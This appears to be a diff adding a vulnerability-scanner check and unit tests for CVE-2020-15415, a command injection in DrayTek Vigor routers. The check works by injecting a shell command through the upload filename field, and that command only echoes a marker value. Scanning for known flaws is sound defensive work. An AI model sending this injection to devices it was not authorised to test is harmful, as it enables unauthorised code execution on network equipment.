Ostorlab · 3asm · Oct 4, 2024 · Oct 3, 2024 · Oct 3, 2024 · Oct 3, 2024
@@ -0,0 +1,74 @@
+"""Agent Asteroid implementation for CVE-2020-15415"""
+
+import logging
+import re
+from urllib import parse as urlparse
+
+import requests
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "Remote Command Execution in DrayTek Vigor Routers"
+VULNERABILITY_REFERENCE = "CVE-2020-15415"
+VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint of DrayTek Vigor3900, Vigor2960, and Vigor300B devices before version 1.5.1, allowing remote code execution via shell metacharacters in a filename."""
+RISK_RATING = "CRITICAL"
+
+MAX_REDIRECTS = 2
+DEFAULT_TIMEOUT = 90
+
+UNIQUE_VALUE = "34ec96cf-d6f1-428a-b955-95080d0536e5"
+
+
+@exploits_registry.register
+class DrayTekVigorCommandInjectionExploit(webexploit.WebExploit):
+    accept_request = definitions.Request(method="GET", path="/")
+    check_request = definitions.Request(
+        method="POST", path="/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2"
+    )
+    accept_pattern = [re.compile(r"Vigor Login Page")]
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        """Rule to detect the remote command execution vulnerability on a specific target.
+        Args:
+            target: Target to scan
+        Returns:
+            List of identified vulnerabilities.
+        """
+        session = requests.Session()
+        session.max_redirects = MAX_REDIRECTS
+        session.verify = False
+
+        target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
+
+        payload = f"""------WebKitFormBoundary
+Content-Disposition: form-data; name="abc"; filename="t';echo {UNIQUE_VALUE};echo 'oxo_"
+Content-Type: text/x-python-script
+
+------WebKitFormBoundary--"""
+
+        try:
+            resp = session.post(
+                target_endpoint,
+                data=payload,
+                timeout=DEFAULT_TIMEOUT,
+                headers={
+                    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
+                },
+            )
+        except requests.RequestException as e:
+            logging.error("HTTP Request failed: %s", e)
+            return []
+
+        if UNIQUE_VALUE in resp.text:
+            vulnerability = self._create_vulnerability(target)
+            return [vulnerability]
+
+        return []
@@ -0,0 +1,89 @@
+"""Unit tests for Agent Asteroid: CVE-2020-15415"""
+
+import requests
+import requests_mock as req_mock
+
+from agent import definitions
+from agent.exploits import cve_2020_15415
+
+
+def testCVE202015415_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2020-15415 unit test: case when target is vulnerable."""
+    requests_mock.get(
+        "http://localhost:80/",
+        text="<html><title>Vigor Login Page</title></html>",
+        status_code=200,
+    )
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
+        text="34ec96cf-d6f1-428a-b955-95080d0536e5",
+        status_code=200,
+    )
+    exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+    accept = exploit_instance.accept(target)
+
+    assert accept is True
+    assert len(vulnerabilities) == 1
+    vulnerability = vulnerabilities[0]
+    assert (
+        vulnerability.entry.title == "Remote Command Execution in DrayTek Vigor Routers"
+    )
+    assert vulnerability.technical_detail == (
+        "http://localhost:80 is vulnerable to CVE-2020-15415, "
+        "Remote Command Execution in DrayTek Vigor Routers"
+    )
+
+
+def testCVE202015415_whenSafe_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2020-15415 unit test: case when target is safe."""
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
+        text="whatever",
+        status_code=200,
+    )
+    exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0
+
+
+def testCVE202015415_whenRequestException_doesNotCrash(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2020-15415 unit test: case when a request exception occurs."""
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
+        exc=requests.RequestException("Connection error"),
+    )
+    exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0
+
+
+def testCVE202015415_whenNotDrayTekVigor_doesNotAccept(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2020-15415 unit test: case when target is not a DrayTek Vigor device."""
+    requests_mock.get(
+        "http://localhost:80/",
+        text="<title>Apache</title>",
+        status_code=200,
+    )
+    exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+
+    assert accept is False